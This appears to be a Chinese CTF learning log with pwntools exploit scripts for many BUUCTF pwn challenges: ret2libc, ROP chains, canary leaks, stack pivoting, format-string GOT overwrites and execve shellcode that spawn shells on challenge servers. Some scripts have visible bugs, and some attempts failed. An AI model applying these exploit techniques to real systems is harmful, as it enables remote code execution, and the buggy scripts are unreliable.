1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *a=remote('node3.buuoj.cn' ,27015 ) main=0x0004004ED execve=0x04004E2 pop_rdi=0x4005a3 csu_end=0x40059A csu_front=0x0400580 sys=0x00400517 payloadl1=('/bin/sh\x00' ).ljust(0x10 ,"\x00" )+p64(main) a.send(payloadl1) a.recv(0x20 ) sh=u64(a.recv(8 ))-280 call_59=sh+0x10 payload2 = '/bin/sh\x00' .ljust(0x10 ,'a' )+p64(execve) payload2 += p64(csu_end)+p64(0 )+p64(1 )+p64(call_59)+p64(0 )+p64(0 )+p64(0 ) payload2 += p64(csu_front) payload2 += 'a' *0x38 +p64(pop_rdi)+p64(sh)+p64(sys) a.sendline(payload2) a.interactive()
wustctf2020_getshell 2024.7.16
日常检查
老规矩,运行一下
扔进ida里面看看
简单的后门,✌
1 2 3 4 5 6 from pwn import *r=remote('node5.buuoj.cn' ,26664 ) payload=flat([b'a' *(0x18 +4 ),0x804851B ]) r.sendline(payload) r.interactive()
✌
flag{e7b55206-1102-461d-8888-28f056948c50}
(仔细一看,还以为是栈迁移呢)
jarvisoj_level3_x64 2024.7.16
日常检查
ida运行一下
栈溢出应该是
嗯,就是一个泄露libc版本吧,嗯,漏洞的话应该是read函数,用write函数来泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' elf = ELF('./1111' ) p=remote('node5.buuoj.cn' ,25473 ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr =elf.symbols['main' ] pop_rdi_addr=0x00000000004006b3 pop_rsi_r15_addr=0x00000000004006b1 p.recvuntil('Input:\n' ) payload1=b'a' *(0x80 +8 )+p64(pop_rdi_addr)+p64(1 ) payload1+=p64(pop_rsi_r15_addr)+p64(write_got)+p64(8 ) payload1+=p64(write_plt)+p64(main_addr) p.sendline(payload1) write_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) print (hex (write_addr))libc = LibcSearcher("write" ,write_addr) libc_base = write_addr - libc.dump("write" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) p.recvuntil('Input:\n' ) payload2 = flat([b'A' *(0x80 +8 ),pop_rdi_addr,bin_sh,system_addr]) p.sendline(payload2) p.interactive()
解决了也是
flag{39f9f11a-1651-48fa-96a8-06b9249d221c}
babyheap_0ctf_2017 2024.7.17
感觉没见过哈、看看,日常检查
运行一下
感觉确实遇到的太早哈
堆题 告辞,先放着!!!
mrctf2020_shellcode 2024.7.17
日常检查
扔进ida里面看一眼
反编译失败了,翻一手小笔记
okok,不行,没成功!
简单看一眼汇编好了。发现是不是就是一个用puts函数泄露libc,漏洞存在的是read函数!
猜测简单写一手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' p = remote('node5.buuoj.cn' ,27060 ) elf = ELF('./1111' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] pop_rdi =0x000000000000124b ret_addr=0x0000000000001016 p.recvuntil('Show me your magic!' ) payload = b'a' *(0x410 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendline(payload) gets_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (gets_addr))libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr - libc.dump("puts" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) payload = flat([b'a' *(0x410 +8 ),ret_addr,pop_rdi,bin_sh,system_addr]) p.sendline(payload) p.interactive()
看到libc版本以为都结束了,结果方向错了,题目是传一个shellcode上去
看到其实并不存在溢出的可能。并且调试看见,plt表可读不可写,所以不使用泄露libc吧
这里说直接传shellcode就行
1 2 3 4 5 6 from pwn import *context(arch = 'amd64' , os = 'linux' , log_level = 'debug' ) r=remote('node5.buuoj.cn' ,27060 ) shellcode = asm(shellcraft.sh()) r.sendline(shellcode) r.interactive()
也是得到flag了
flag{94563ff3-8148-4aba-818c-2d2fbcb9bddb}
bjdctf_2020_babyrop2 2024.7.17
日常检查
这里多了一个Canary栈保护,简单运行一下
扔进ida里面
gift函数看一下,猜测是格式化字符串漏洞
vlnu函数里面有个read函数存在溢出
怎么说呢?是泄露libc版本还是csu呢?
题还是做的太少了!
格式化字符串泄露Canary,puts函数泄露libc版本 利用思路
首先利用格式化字符串漏洞绕过Canary函数
在通过read函数打retlibc
Canary的值是固定的rbp-8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *from LibcSearcher import *r=remote('node5.buuoj.cn' ,26355 ) elf=ELF('./1111' ) context.log_level = 'debug' gdb.attach() payload = '%7$p' r.sendline(payload) r.recvuntil('0x' ) cancry = int (r.recv(16 ),16 ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi = 0x0400993 main_addr = elf.symbols['main' ] vuln_addr = 0x0400887 payload = 'a' *(0x20 -8 )+p64(cancry) payload += p64(0 ) payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(vuln_addr) r.recvuntil('story!\n' ) r.sendline(payload) puts_addr = u64(r.recv(6 ).ljust(8 ,'\x00' )) print hex (puts_addr)libc=LibcSearcher('puts' ,puts_addr) base_addr = puts_addr - libc.dump('puts' ) system_addr=base_addr + libc.dump('system' ) shell_addr = base_addr + libc.dump('str_bin_sh' ) r.recvuntil('story!\n' ) payload = 'a' *(0x20 -8 )+p64(cancry) payload += p64(0 ) payload += p64(pop_rdi) payload += p64(shell_addr) payload += p64(system_addr) payload += p64(main_addr) r.sendline(payload) r.interactive()
[BUUCTF]PWN——bjdctf_2020_babyrop2_bjdctf pwn-CSDN博客
bjdctf_2020_router 2024.7.18
日常检查
运行一下,
感觉没啥用,丢进ida里面看一眼
好消息是有system函数
ROPgadget找一下有没有/bin/sh
看样子是应该没有。欧克找找漏洞
嘶,找找好像有个read,但感觉又像栈迁移。嗯~,最终还是搜了一手,发现他们的做法,直接nc就行
然后用了有个;命令 直接解就行
我看还有用脚本的,
这里了解一下strcat函数:意思就是吧buf加在dest后面,但是你还会发现dest是一个指针,所以我们直接给buf赋值/bin/sh就行。
1 2 3 4 5 6 7 from pwn import *r=remote('node5.buuoj.cn' ,25167 ) r.recvuntil('\n' ) r.sendline('1' ) r.recvuntil('Please input the ip address:' ) r.sendline(';/bin/sh' ) r.interactive()
jarvisoj_level4 2024.7.18
日常检查
这个感觉会很简单哈
ida里面看一眼
一眼libc版本泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'i386' context.os='linux' elf = ELF('./1111' ) p=remote('node5.buuoj.cn' ,29175 ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr =elf.symbols['main' ] payload1 = b"A" *(0x88 +4 )+ p32(write_plt) + p32(main_addr) +p32(1 )+ p32(write_got)+p32(4 ) p.sendline(payload1) write_addr = u32(p.recv(4 )) print (hex (write_addr))libc = LibcSearcher("write" ,write_addr) libc_base = write_addr - libc.dump("write" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) payload2 = flat([b'A' *(0x88 +4 ),system_addr,main_addr,bin_sh]) p.sendline(payload2) p.interactive()
嘶,不到为什么找不到版本,也不到为啥,网上扒的wp脚本也都跑不出来,先放着。md
啊啊啊啊啊!调半天整不出来
picoctf_2018_buffer overflow 1 2024.7.18
日常检查
丢进ida里面看一眼
哇塞,gets函数,栈溢出
先看看是不是简单的后门
1 2 3 4 5 6 7 from pwn import *p=remote('node5.buuoj.cn' ,28380 ) payload=b'A' *(0x28 +4 )+p32(0x080485CB ) p.sendline(payload) p.interactive()
OKOK,BUUCTF今天咋了,连着两个题都连不上啊啊啊啊啊
查了一下wp,就是一个简单的后门。
pwnable_orw 2024.7.18
放着
说是有病毒,放着 inndy_rop 2024.7.18
日常检查
ida打开
漏洞:gets函数
嘶~看不出来啥
方法:利用工具ROPgadget
1 ROPgadget --binary rop --ropchain
欧克,说是直接溢出就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from struct import packr=remote('node5.buuoj.cn' ,28061 ) def payload (): p = b'a' *(0xc +4 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += b'/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += b'//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) return p shell =payload() r.sendline(shell) r.interactive()
歪日,连着G了这么多么?
jarvisoj_test_your_memory 2024.7.18
日常检查
运行一下,丢进ida里面
有system函数,找找sh
没有,有个后门,但是找不到漏洞,看一眼字符串
简单的后门吗?漏洞是printf函数
那就是
1 2 3 4 5 6 7 8 from pwn import* p=remote('node5.buuoj.cn',29298) backdoor=0x80485BD cat_flag=080487E0 payload=b'A'*(0x13+4)+p32(backdoor)+p32(main)+p32(cat_flag) p.sendline(payload) p.interactive()
[ZJCTF 2019]EasyHeap 2024.7.18
日常检查
没什么用,heap感觉应该不会。
堆题 放着!!!
hitcontraining_uaf 2024.7.18
日常检查
ida里面看一眼
有后门,找一下漏洞,有NX应该打不了ret2shellcode
我感觉应该常规ret2text
好好好,整数溢出
不确定对不对
上网一搜,原来的堆的题。告辞
堆题 PicoCTF_2018_buffer_overflow_2 2024.7.22
日常检查
简单运行一下
猜测应该是一个栈溢出的题
丢进ida里面,应该就是一个简单的后门函数!
漏洞是gets函数,后门是win函数 ,直接溢出一下看看。
1 2 3 4 5 6 7 from pwn import *r=remote('node5.buuoj.cn' ,28213 ) backdoor=0x80485CB payload=b'' *(0x6c +4 )+p32(backdoor)+p32(0xDEADBEEF )+p32(0xDEADC0DE ) r.sendline(payload) r.interactive()
嘶!有个小插曲,忘记有个条件,最后传个参数就好了
cmcc_simplerop 2024.7.22
日常检查
丢进ida里面看一看,read函数存在漏洞,用puts函数绕过一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' elf = ELF('./1111' ) p=remote('node5.buuoj.cn' ,27409 ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = elf.symbols['main' ] payload = b"A" *(0x1c +4 )+ p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil('Your input :' ) puts_addr = u32(p.recv(4 )) print (hex (puts_addr))libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr - libc.dump("puts" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) p.recvuntil('Your input :' ) payload = flat([b'A' *(0x1c +4 ),system_addr,b'AAAA' ,bin_sh]) p.sendline(payload) p.interactive()
我靠,plt表居然一个函数都没有。
上网找了一手
ROPgadget找一手
系统调用的话就应该知道
32位的函数调用过程
传参方式:首先系统将系统调用号传入eax,然后将参数从左到右依次存入ebx,ecx,edx寄存器,返回值值存在eax寄存器
使用read函数将”/bin/sh\x00”读入bss段中,所以这里的sh_addr函数应该不一样
只要在bss段上就行说是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *r=remote('node5.buuoj.cn' ,27409 ) int_0x80_addr=0x080493e1 sh_addr=0x080be238 eax_addr=0x080bae06 ret_add=0x080481b2 pop_edx_ecx_ebx=0x0806e850 read_addr=0x806CD50 payload = b'a' *(0x1c +4 )+p32(read_addr)+p32(0 )+p32(sh_addr)+p32(8 ) payload +=p32(eax_addr)+p32(11 )++p32(pop_edx_ecx_ebx)+p32(0 )+p32(0 )+p32(sg_addr)+(int_0x80_addr) r.sendline(payload) r.sendline('/bin/sh' ) r.interactive()
得到flag
flag{a7b21097-c99c-40ff-9a0a-7c0576f58326}
wustctf2020_getshell_2 2024.7.22
日常检查
简单运行一下
ida运行一下
read函数加一个简单的后门
再查看后门函数的时候我们可以发现
简单写一下EXP:
1 2 3 4 5 6 7 from pwn import *p=remote('node5.buuoj.cn' ,27014 ) system_addr=0x80483E0 sh_addr=0x08048670 payload=b'a' *(0x18 +4 )+p32(system_addr)+b'aaaa' +p32(sh_addr) p.sendline(payload) p.interactive()
感觉没什么问题啊!!!
唉
1 2 3 4 5 6 7 from pwn import *p=remote('node5.buuoj.cn' ,27014 ) system_addr=0x8048529 sh_addr=0x08048670 payload=b'a' *(0x18 +4 )+p32(system_addr)+p32(sh_addr) p.sendline(payload) p.interactive()
mrctf2020_easyoverflow 2024.7.23
简单运行一下
扔进ida里面看一眼
溢出的漏洞是gets函数,有个条件能执行system函数
check(v5)就是检查v5是否为’n0t_r3@11y_f1@g‘
V4和V5在一块
思路:v4的输入是用的gets函数,我们可以在读入v4的时候将v5覆写成n0t_r3@11y_f1@g
从而获取shell
画一下栈顶的空间
1 2 3 4 5 6 7 8 9 10 +---------------------------+ | n0t_r3@11y_f1@g | 覆盖V5 V5 0x40--->+---------------------------+ | a | a占位填满栈空间 | .... | ...... | a | a占位填满栈空间 | a | a占位填满栈空间 | a | a占位填满栈空间 | a | a占位填满栈空间 V4 0x70--->+---------------------------+
大概就是这样
1 2 3 4 5 6 from pwn import *r=remote('node5.buuoj.cn' ,26485 ) payload=b'a' *(0x30 )+b'n0t_r3@11y_f1@g' r.sendline(payload) r.interactive()
然后就行了!!
bbys_tu_2016 2024.7.23
日常检查
简单运行一下
扔进ida里面
gpt说这个 __isoc99_scanf("%s", &v4);
存在缓冲区溢出。
不知道能不能像正常的后门进行溢出。
1 2 3 4 5 6 from pwn import *r=remote('node5.buuoj.cn' ,25295 ) backdoor=0x804856D payload=b'a' *(0x14 +4 )+p32(backdoor) r.sendline(payload) r.interactive()
xdctf2015_pwn200 2024.7.23
日常检查
简单运行一下
丢进ida里面看看
应该是一个基本的libc版本泄露,write函数泄露,read函数溢出
write函数泄露libc版本,read函数溢出 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *r=remote('node5.buuoj.cn' ,25041 ) elf = ELF('./1111' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=elf.sym['main' ] r.recvuntil('\n' ) payload=bs'a' *(0x6c +4 )+p32(write_plt)+p32(main)+p32(0 )+p32(write_got)+p32(4 ) r.sendline(payload) write_addr=u32(r.recv(4 )) libc=LibcSearcher('write' ,write_addr) offset=write_addr-libc.dump('write' ) system_addr=offset+libc.dump('system' ) bin_addr=offset+libc.dump('str_bin_sh' ) r.recvuntil('\n' ) payload=b'a' *(0x6c +4 )+p32(system_addr)+p32(0 )+p32(bin_addr) r.sendline(payload) r.interactive()
ciscn_2019_s_4 2024.7.23
日常检查
简单运行一下
看着像溢出题哈
ida打开,感觉像后门
溢出函数是read函数,感觉长度不够,应该是一个栈迁移
栈迁移
利用过程:
一、泄露ebp
二、找到参数s在栈上的位置
三、布置s栈上的值
四、栈劫持、获取shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *p=remote('node3.buuoj.cn' ,25010 ) context.log_level='debug' sys_addr=0x08048400 leave_ret=0x008048562 payload =b'a' *0x24 +b'bbbb' p.sendafter('name?\n' ,payload) p.recvuntil('bbbb' ) leak_addr = u32(p.recv(4 )) buf=leak_addr-0x38 payload2=(p32(sys_addr)+p32(0xdeadbeef )+p32(buf+0xc )+b'/bin/sh\x00' ) payload2=payload2.ljust(0x28 ,b'a' )+p32(buf-4 )+p32(leave_ret) sleep(1 ) p.send(payload2) p.interactive()
wustctf2020_closed 2024.7.23
日常检查
简单运行一下
感觉像溢出的题目哈,丢进ida里面看一眼
呕吼,后门
找找漏洞
额,没有
上网!!康康!!
stdout重定向。 在看了别人的wp之后了解到,原来可以对stdout重定向,将文件描述符 1 重定向到文件描述符 0 : 因此这题不用写exp,直接执行 execv 1>&0
,也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了。
[ZJCTF 2019]Login 2024.7.23
日常检查
简单运行一下
ida里面看一看,有system有/bin/sh
思路如下:
找到rbp+var_18
看一下栈的情况
exp如下:
1 2 3 4 5 6 7 8 9 10 from pwn import * r = remote('node5.buuoj.cn' ,25759 ) backdoor = 0x400e88 r.sendlineafter(': ' ,'admin' ) r.sendlineafter(': ' ,'2jctf_pa5sw0rd' +'\x00' *0x3a +p64(backdoor)) r.interactive()
我是fw
为什么要用空字符占呢?????
jarvisoj_level1 2024.7.24
日常检查
简单运行一下
丢进ida里面看一眼
write函数发现溢出漏洞,看一眼感觉是泄露libc基址,
read函数漏洞,write函数泄露libc基址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *r=remote('node5.buuoj.cn' ,29826 ) elf = ELF('./1111' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=elf.sym['main' ] r.recvuntil('\n' ) payload=b'a' *(0x88 +4 )+p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) r.sendline(payload) write_addr=u32(r.recv(4 )) libc=LibcSearcher('write' ,write_addr) offset=write_addr-libc.dump('write' ) system_addr=offset+libc.dump('system' ) bin_addr=offset+libc.dump('str_bin_sh' ) r.recvuntil('\n' ) payload=b'a' *(0x88 +4 )+p32(system_addr)+p32(0 )+p32(bin_addr) r.sendline(payload) r.interactive()
hitcontraining_magicheap 2024.7.24
日常检查
丢进ida里面
有后门,但是heap,是什么意思呢?
还没学。先放着!!
picoctf_2018_shellcode 2024.7.24
日常检查
看着像格式化字符串漏洞。丢进ida里面看一眼
放着先!!
axb_2019_fmt32 2024.7.24
日常检查
丢进ida里面看一眼
格式字符串应该是
格式字符串盲打
上面的read函数不存在溢出风险
baaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
知道偏移为8
利用思路:
首先知道偏移
利用printf函数泄露基址
修改GOT表
获得shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ,log_level='debug' ) r = remote("node5.buuoj.cn" ,29543 ) elf=ELF("./1111" ) printf_got = elf.got['printf' ] payload = b'A' + p32(printf_got) +b'B' + '%8$s' r.sendafter('me:' , payload) r.recvuntil("B" ) printf_addr = u32(r.recv(4 )) print "printf_addr" +hex (printf_addr)libc=LibcSearcher('printf' ,printf_addr) libc_base=printf_addr-libc.dump('printf' ) system=libc_base+libc.dump('system' ) print "system_addr" +hex (system)payload='a' +fmtstr_payload(8 ,{printf_got:system},write_size = "byte" ,numbwritten = 0xa ) r.sendline(payload) r.sendline(';/bin/sh\x00' ) r.interactive()
1 2 3 4 5 6 '''' fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’) 第一个参数表示格式化字符串的偏移 第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress}; 第三个参数表示已经输出的字符个数 第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
others_babystack 2024.7.24
日常检查,不到干哈的
运行一下
感觉是绕canary的题
丢进ida里面看看
ciscn_2019_s_9 2024.7.24
日常检查
运行一下
丢进ida里面
偏移32
一样
存在漏洞
puts函数直接泄露libc版本,溢出就行?
32位puts函数泄露libc版本,fgets函数溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' elf = ELF('./1111' ) p=remote('node5.buuoj.cn' ,25578 ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = elf.symbols['main' ] payload = b"A" *(0x20 +4 )+ p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) puts_addr = u32(p.recv(4 )) print (hex (puts_addr))libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr - libc.dump("puts" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) payload = flat([b'A' *(0x20 +4 ),system_addr,b'AAAA' ,bin_sh]) p.sendline(payload) p.interactive()
我靠,泄露半天,发现NX没开,直接ret2shellcode
啊啊啊啊啊。
ok,shellcode也不会,因为是
汇编代码写shellcode 我啥也不会!!!!
要自己手动写入的原因是:栈的大小只有0x20,不能完全写入
1 2 3 4 5 6 7 8 9 10 11 12 shellcode =''' xor eax,eax #eax置0 xor edx,edx #edx置0 push edx #将0入栈,标记了”/bin/sh”的结尾 push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh push 0x6e69622f #传递“/bin” mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx xor ecx,ecx mov al,0xB #eax置为execve函数的中断号 int 0x80 #调用软中断 ''' shellcode=asm(shellcode)
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *p=remote('node3.buuoj.cn' ,28314 ) context(log_level='debug' ,arch='i386' ,os='linux' ) jump_esp=0x8048554 shellcode=''' xor eax,eax xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp xor ecx,ecx mov al,0xB int 0x80 ''' shellcode=asm(shellcode) print len (shellcode) payload=shellcode.ljust(0x24 ,'\x00' )+p32(jump_esp) print len (payload) payload+=asm("sub esp,40;call esp" ) p.sendline(payload) p.interactive()
歪日!!!
1 2 3 4 5 6 7 from pwn import *p=remote('node5.buuoj.cn' ,27092 ) context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) shellcode = asm(shellcraft.sh()) print len (shellcode) sh.interactive()
gyctf_2020_borrowstack 2024.7.25
日常检查
丢进ida里面
东西很少哈,感觉就是libc版本泄露加read函数溢出,这个溢出的长度好像是够的,gdb动态调试看看,
96到112,(但是其实吧,bank在bss段上),NX保护开着,应该传不了shellcode。
嘶!先看看能不能泄露出来吧
1 2 3 4 payload = b'a' *(0x60 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
现在有个问题就是bss段上的数组怎么确认长度 ,还是只能乖乖做栈迁移呢?(主要是栈迁移我不太会)长度一样试一试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' p = remote('node5.buuoj.cn' ,29050 ) elf = ELF('./1111' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] pop_rdi =0x0000000000400703 ret_addr=0x00000000004004c9 p.recvuntil('want\n' ) p.sendline('aaaa' ) payload = b'a' *(0x60 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.recvuntil('now!\n' ) p.sendline(payload) puts_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))
okok,肯定是不行的! 乖乖栈迁移吧
栈迁移 还要注意的是我们栈迁移到bank这的时候,发现距离GOT表太近,还得把栈抬高一点,并且在泄露libc基址的时候。还得使用一下one-gadget来解决system(/bin/sh)函数无法使用的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.log_level = 'debug' debug = 1 def exp (debug ): elf = ELF('./borrowstack' ) lib = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) if debug == 1 : r = process('./borrowstack' ) else : r = remote('node3.buuoj.cn' , 26597 ) r.recvuntil('\n' ) one_gadget = 0x4526a r.send('a' * 0x60 + p64(0x0000000000601080 + 0x8 * 9 - 0x8 ) + p64(0x0000000000400699 )) r.send(p64(0 ) * 9 + p64(0x0000000000400703 ) + p64(elf.got['puts' ]) + p64(elf.plt['puts' ]) + p64(0x0000004006FA ) + p64(0 ) + p64(1 ) + p64(0x000000000601028 ) + p64(0x200 ) + p64(0x601080 + 0xa0 - 0x8 ) + p64(0 ) + p64(0x000004006E0 )) r.recvuntil('\n' ) libc = u64(r.recvuntil('\n' )[:-1 ].ljust(8 , '\x00' )) - lib.sym['puts' ] log.info('lib \'s address => %#x' %libc) r.send(p64(libc + one_gadget) + p64(0 ) * 10 ) r.interactive() exp(debug)
one-gadget 是glibc里调用execve(’/bin/sh’, NULL, NULL)的一段非常有用的gadget。在我们能够控制ip(也就是pc)的时候,用one-gadget来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system(“sh”),这个时候one-gadget就可以搞定了。
并且我看wp的时候也有re2csu做的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context.log_level = 'debug' Debug = 1 if Debug == 1 : libc_name = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libc_name) one_gadget = 0x4f432 p = process("./borrowstack" ) else : libc_name = './libc-2.23.so' libc = ELF(libc_name) one_gadget = 0x4526a p = remote("node3.buuoj.cn" , 25202 ) elf = ELF("./borrowstack" ) bank_addr = 0x601080 leave_ret = 0x400699 pop_rdi_ret = 0x400703 csu_init_pop = 0x4006FA csu_init_call = 0x4006E0 offset = 0x50 new_stack_sp = bank_addr + offset payload1 = b'a' *0x60 + p64(new_stack_sp - 0x10 ) + p64(leave_ret) p.recvuntil("Tell me what you want\n" ) p.send(payload1) p.recvuntil("Done!You can check and use your borrow stack now!\n" ) payload2 = b'a' *(new_stack_sp-0x10 - bank_addr) + p64(0 ) + p64(pop_rdi_ret) + p64(elf.got['puts' ]) \ + p64(elf.plt['puts' ])+ p64(csu_init_pop) + p64(0 ) + p64(0 ) + p64(elf.got['read' ]) +p64(0x100 ) \ + p64(new_stack_sp + 0x8 *9 ) + p64(0 ) + p64(csu_init_call) p.sendline(payload2) libc_base = u64(p.recvuntil('\n' )[:-1 ].ljust(8 , b'\x00' )) - libc.sym['puts' ] p.sendline(p64(libc_base + one_gadget) + p64(0 ) * 10 ) p.interactive()
pwnable_start 2024.7.25
日常检查
丢进ida里面
我靠。ida里面什么也没有?
欧克。仔细看就是分析汇编代码的题,也不长,分析一手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 .text:08048060 ; __int64 start() .text:08048060 public _start .text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o .text:08048060 push esp .text:08048061 push offset _exit .text:08048066 xor eax, eax ;eax为0 .text:08048068 xor ebx, ebx ;ebx为0 .text:0804806A xor ecx, ecx ; 一样 .text:0804806C xor edx, edx ; 一样 .text:0804806E push 3A465443h .text:08048073 push 20656874h .text:08048078 push 20747261h .text:0804807D push 74732073h .text:08048082 push 2774654Ch ;这几个是把“Let's start the CTF:”字符入栈 .text:08048087 mov ecx, esp ; addr .text:08048089 mov dl, 14h ; len .text:0804808B mov bl, 1 ; fd .text:0804808D mov al, 4 ;函数调用号为4,是write函数 .text:0804808F int 80h ; LINUX - sys_write .text:08048091 xor ebx, ebx ;ebx为0 .text:08048093 mov dl, 3Ch ; '<' .text:08048095 mov al, 3 ;函数调用号为3,是read函数 .text:08048097 int 80h ; LINUX -sys_read .text:08048099 add esp, 14h .text:0804809C retn
1 2 3 4 5 6 write (1 ,buf,0x14 )read (0 ,buf,0x3C )
因为没开NX,所以直接传shellcode就行,打ret2shellcode
要往栈上写入shellcode,首先要知道栈上的地址
